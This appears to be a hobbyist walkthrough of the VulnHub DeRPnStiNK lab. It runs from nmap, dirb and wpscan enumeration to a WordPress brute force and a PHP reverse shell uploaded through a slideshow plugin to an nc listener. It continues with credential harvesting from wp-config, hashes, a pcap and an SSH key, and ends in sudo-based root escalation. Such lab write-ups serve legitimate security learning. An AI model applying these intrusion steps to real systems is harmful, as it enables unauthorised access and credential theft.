__________________VulnHub2018_DeRPnStiNK_____it is ubuntu 14______________

1) As usual, double click on the .ova file to import the OS to your VB. Make certain that it is on the same network as your kali machine.  In your kali, discover the other machines which are connected in your environment by typing “netdiscover -i eth0” if yours is “eth0”.  To know it, type “iwconfig”.

2) When finding your target OS (that ubuntu 14), scan it with “nmap” using this command “nmap -p- -A IP_of_ubuntu”, press enter. Note the port on which Apache is. Type its IP in a browser and right-click as usual to view page source to find more infos. Note down every interested flag, or link…

3) We find a link that says “@stinky, make sure to update your hosts file with local dns so the…” from the IP_of_ubuntu/webnotes/info.txt. So, after dirbing the url, if you try open a DIRECTORY link in the terminal, you will be off in the browser, so you have to add that appropriate domain in the file “etc/host”. 

3) Now, use “dirb” to scan it , it’s a full scan, shows you all related contents, urls, phpmyadmin, etc… (the URL, its IP along with its http://) by typing “dirb http://IP_of_ubuntu”

4) The “weblog” link sounds nice to us, let’s have a look at it: “http://192…/weblog”. Copy & paste it into a browser. See!!!, it says “Server not found”. That means, we have to modify our /etc/hosts file in kali. Copy the url given, and paste it in that hosts file. Eg: “192.168.1.180    derpnstink.local “ without quotes in the same line. Now, refresh that page. And voilá!!!

5) Again, right-click on that page after refreshing it, view source code. We see that it is powered by Wordpress. So, let’s use “wpscan” to scan it. Type: “wpscan --url http://derpnstink.local/weblog/ --enumerate u,p”, then press enter. The “u,p”, is to enumerate users and plugins.
It found 2 plugins: askimet, and slideshow-gallery. And take note of the usernames found, because in the following step, we are going to bruteforce them.

6) Since we have detected that it is a Wordpress powered website, we can bruteforce using the “wpscan” without “hydra”. Before typing in terminal, create a file any where in your kali, and put the username “admin” inside of it. You can try also to put “unclestinky” (they are those usernames found in the step5 above.  If you want to create the file from terminal, open a new terminal and type: echo “admin” > newCreatedFile,,, and press enter.
Then type in terminal: 
wpscan --url http://derpnstink.local/weblog/ --passwords /usr/share/wordlists/fasttrack.txt  --usernames newCreatedFile -t 25 and press enter.

In our kali linux machine, we have “wpscan version 2.9.3”. So, we detect that using “--passwords” keyword doesn’t work. So, we use “--wordlist” instead. It works somehow. But, it's better to drag and drop your username newCreatedFile in the terminal. Eg: if the file is in your Home directory, when dragging to terminal, it will become '/root/newCreatedFile', instead of only newCreatedFile.
The password we found earlier in brute force attack is a Wordpress password, we have to note that. While “dirbing” scan the url, we see a link that has something behind like that “…/wp-admin”. It’s actually the login page of the wordpress page. So, go there and enter the credentials found.

7) Now we’re gonna use 	a “php-reverse-shell”. Google it in kali, download and extract it. Before we use the file “php-reverse-shell.php”, we have to make some changes, such as the ip_addr of local network “127.0…” to our kali_ip, and any port # we want to use, then save it. Now we’re gonna listen to it by typing in a new terminal “nc -nlvp port #” (4444 for example).

8) Then, in the wordpress admin panel, click “slideshow” —> “add new slide” —> in “choose image” upload the “php-reverse-shell.php” code there. Save the slide. As soon as we save it, we will notice that our “nc -nlvp…” netcat terminal gets a reverse-shell. Because, inside our wordpress admin panel, it recognizes the typed port in the netcat terminal.

9) What we’re gonna do now is to try to get a bash python shell. As usual, we type: python -c ‘import pty; pty.spawn(“/bin/bash”)’,,, Boom !!! We get into the ubuntu14 system.
Then enter. Type “ls” to see the files/folders list, and type “pwd” to make sure and get the full path of the directory you are working in.

10) Now, try to see as much as infos you need. Type “cd /var/www/html/weblog”, then if there is any file, (in our case, of course) check them using “cat” command. Eg: “cat wp-config.php”, there, you will see many credentials.
If we go back into our “dirb” terminal, there is a link “http://.192…/php-my-admin”. If we click on it, we can try to enter the appropriate credentials found in the “wp-config.php” file to login.

11) Being there, in the database system, use your brain and see things. We can check on “wordpress” —> “wp-users” (sth like that) to see more infos, and “mysql —> users”. There, try to see how the passwords are hashed. In our case, it looks like “md5”. So, go to the “crackstation. net” and copy and paste the hashed passwords there to see their plaintext.
Try all to see. As we’ve already that the “root” user has pws “mysql”, we can check if it’s true. Copy & paste its hash in the crackstation website. Do the same for all the rest.
Try all, we see that the user “unclestinky” has psw “wedgie57”, which we could not find using “wpscan” in step6.

Note: Of course, it might happen that the crackstation does not have the hash in their database.

12) Now we can try to login via “ftp”. Type: “ftp://192_of_ubuntu14”, enter “unclestinky” as usr and “wedgie57” as the pwd. We get access denied. So, in the same terminal “www-data@DeRPnStiNK:/var/www/htm/weblog$”, type “cat /etc/passwd”, to see credentials in the ubuntu14 system.
We see something like a usr “stinky:x:1001:1001:Uncle Stinky,,,…”. So, again retry the “ftp” login, put the same password with “stinky” as username. Boom!!! Now we’re in.

13) Now, it’s a matter of clicking. Try to see the network log and any thing else, such as “ssh” folder and so on…

14) From the “ssh” directory, we see an RSA private key. Copy and paste it in a new file. Now, change the permission of that file in terminal so that we can use it with “ssh”. Type “chmod 700 fileName” in a new terminal, and press enter.
“ssh stinky@ip_of_the_ubuntu14 -i fileName”, the “fileName” is the file which contents the RSA private key you have just created. 
Okay, great (Y) :) job. We are logging in as “stinky” with the RSA_private key in ubuntu 14.04.5 LTS.

- In the terminal above, we were in as “www-data@DeRPnStiNK”, now we are in as “stinky@DeRPnStiNK”.

15) Now, we have to escalate the privileges to root. But, before that, we can try to see the contents in each directory if there are. Type “ls”, type “cd Desktop”, again “ls”, type “cd Documents”, again “ls”, and so on… If any file is found somewhere, use “cat” to open it. Now, try “cd /root”. You won’t be able to have access. Okay, let’s escalate the privilege now:
-We realize that there is a file called “derpissues.pcap” in “Documents” directory, we can read it using “Wireshark”, or via “tcpdump” also. Let’s use “tcpdump” command.
a) “tcpdump -nnttttAr /home/stinky/Documents/derpissues.pcap | less “, press enter. This command is inefficient, cause it’s not very readable.
b) “tcpdump -nnttttAr /home/stinky/Documents/derpissues.pcap | less -Sr”, press enter. This command made it easier for reading, but still a mess. 
Press “q” to cancel/stop it.
Let’s specify something in the command:
c) “tcpdump -nnttttAr /home/stinky/Documents/derpissues.pcap port 80 | grep pass -C 20 --color=always | less -Sr”, press enter, and keep pressing it to find more interesting infos. This colorify all words with “pass”, so that it can be more readable. Note: we use the port # 80, because the ubuntu14 os was on it when we “nmapped” it. 
Being there, we are now able to read some password and email, username, user_login, etc…

16) In the same terminal of “stinky@DeRPnStiNK”, we can switch user. A “user_login” name found while “tcpdumpped” the “.pcap” file was “mrderp”, and the password was something like “derpderpderp…”, check it by yourself.
Now, type: “su mrderp”, enter. Paste the found password, then enter. 
Still no access when typing “cd /root”, permission denied. 

17) Type “sudo -l”, enter. It gives a msg “User mrderp may run the following…”. Do what it says! Type “cd /home/mrderp/binaries”, and press enter.
If no such file, create that directory by typing “mkdir /home/mrderp/binaries”, enter. After that, change yourself to that directory “cd /home/mrderp/binaries”. Create a file there “echo “/bin/bash” > derpy.sh “, without the external quotes. 
Give it an executable permission by typing “chmod +x derpy.sh”. (It’s a MUST)

18) Now, you should be able to “sudo” and run the file script by typing “sudo ./derpy.sh”, enter. See !!! You are there as “root@DeRPnStiNK”, not as the “stinky@DeRPnStiNK”.
Type now: “id”, “cd /root”, “ls”, “cd /Desktop”, “ls”, use “cat” to open any file found.

N.B: The password to enter the ubntu14 login is found in step16 while tcpdumping. Username: mrderp (as usr_login) and password “derpderpderpderpderpderpderp”, 7x. Username2: stinky, Pwd: wedgie (found in step12).